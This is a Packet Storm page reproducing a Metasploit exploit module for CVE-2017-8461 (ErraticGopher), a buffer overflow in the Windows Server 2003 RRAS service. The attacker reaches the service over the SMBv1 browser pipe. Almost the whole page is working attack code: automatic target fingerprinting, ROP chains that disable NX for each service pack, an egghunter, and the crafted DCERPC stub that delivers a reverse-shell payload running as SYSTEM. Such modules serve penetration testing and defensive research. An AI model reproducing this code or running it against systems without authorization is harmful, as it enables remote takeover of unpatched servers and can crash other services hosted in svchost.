what you don't know can hurt you

Microsoft Windows RRAS Service MIBEntryGet Overflow

Microsoft Windows RRAS Service MIBEntryGet Overflow
Posted Mar 5, 2021
Authored by Brendan Coles, Shadow Brokers, Equation Group, Victor Portal | Site metasploit.com

This Metasploit module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM. The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well.

tags | exploit, remote, overflow
systems | windows, xp
advisories | CVE-2017-8461
MD5 | 69298bf9729abb1a86bafda578c9aa2f

Microsoft Windows RRAS Service MIBEntryGet Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
'Description' => %q{
This module exploits an overflow in the Windows Routing and Remote
Access Service (RRAS) to execute code as SYSTEM.

The RRAS DCERPC endpoint is accessible to unauthenticated users via
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
however, this module targets Windows Server 2003 only.

Since the service is hosted inside svchost.exe, a failed exploit
attempt can cause other system services to fail as well.

The module has been successfully tested on:

Windows Server 2003 SP0 (x86);
Windows Server 2003 SP1 (x86);
Windows Server 2003 SP2 (x86); and
Windows Server 2003 R2 SP2 (x86).
},
'Author' =>
[
'Equation Group', # ERRATICGOPHER
'Shadow Brokers', # Equation Group dump
'VĂ­ctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
'bcoles', # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8461'],
['CWE', '119'],
['BID', '99012'],
['EDB', '41929'],
['PACKETSTORM', '147593'],
['URL', 'https://www.securitytracker.com/id/1038701'],
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1065,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[
'Windows Server 2003 SP0 (English)',
{
'os' => 'Windows 2003',
'sp' => '',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP1 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 1',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP2 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
[
'Windows Server 2003 R2 SP2 (English) (NX)',
{
'os' => 'Windows 2003 R2',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
],
'Notes' =>
{
'AKA' => [ 'ErraticGopher' ],
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2017-06-13'
)
)

register_options([
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
])

deregister_options('SMB::ProtocolVersion')
end

def payload_win2k3sp0
rop = [0x0ffef4c9].pack('V')
# rsaenh.dll:
# 0FFEF4C9 54 PUSH ESP
# 0FFEF4CA 24 04 AND AL,4
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
# 0FFEF4D4 3BD1 CMP EDX,ECX
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
# 0FFEF4D8 F7F1 DIV ECX
# 0FFEF4DA C2 0C00 RETN 0C
rop += make_nops(1152 - payload.encoded.length)
rop += payload.encoded
rop
end

def payload_win2k3sp1
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 SP1
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def payload_win2k3sp2
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 [R2] SP2
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
rop += [0x77384271].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def check
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end

return CheckCode::Safe("SMB error: #{e.message}")
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end

CheckCode::Detected('RRAS enabled and accessible.')
end

def exploit
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end
raise e
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
end

print_status("Bound to #{handle} ...")

my_target = target

if target.name == 'Automatic'
print_status('Selecting a target ...')

fingerprint = smb_fingerprint

os = fingerprint['os']
sp = fingerprint['sp']
lang = fingerprint['lang']
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")

if lang == 'Unknown'
lang = 'English'
print_status("Could not detect the language pack, defaulting to #{lang}")
end

my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first

unless my_target
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
end
end

print_status("Using target: #{my_target.name}")

case my_target.name
when 'Windows Server 2003 SP0 (English)'
buf = payload_win2k3sp0
when 'Windows Server 2003 SP1 (English) (NX)'
buf = payload_win2k3sp1
when 'Windows Server 2003 SP2 (English) (NX)'
buf = payload_win2k3sp2
when 'Windows Server 2003 R2 SP2 (English) (NX)'
buf = payload_win2k3sp2 # same as SP2
else
fail_with(Failure::NoTarget, 'Invalid target')
end

mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
mib += buf # rgdwVarIndex[5] dwForwardType # payload
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk

stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
stub += mib # our friendly MIB entry data with payload
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes

print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")

begin
dcerpc.call(0x1d, stub, false)
rescue StandardError => e
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    15 Files
  • 14
    Apr 14th
    27 Files
  • 15
    Apr 15th
    19 Files
  • 16
    Apr 16th
    7 Files
  • 17
    Apr 17th
    1 Files
  • 18
    Apr 18th
    1 Files
  • 19
    Apr 19th
    19 Files
  • 20
    Apr 20th
    18 Files
  • 21
    Apr 21st
    30 Files
  • 22
    Apr 22nd
    18 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close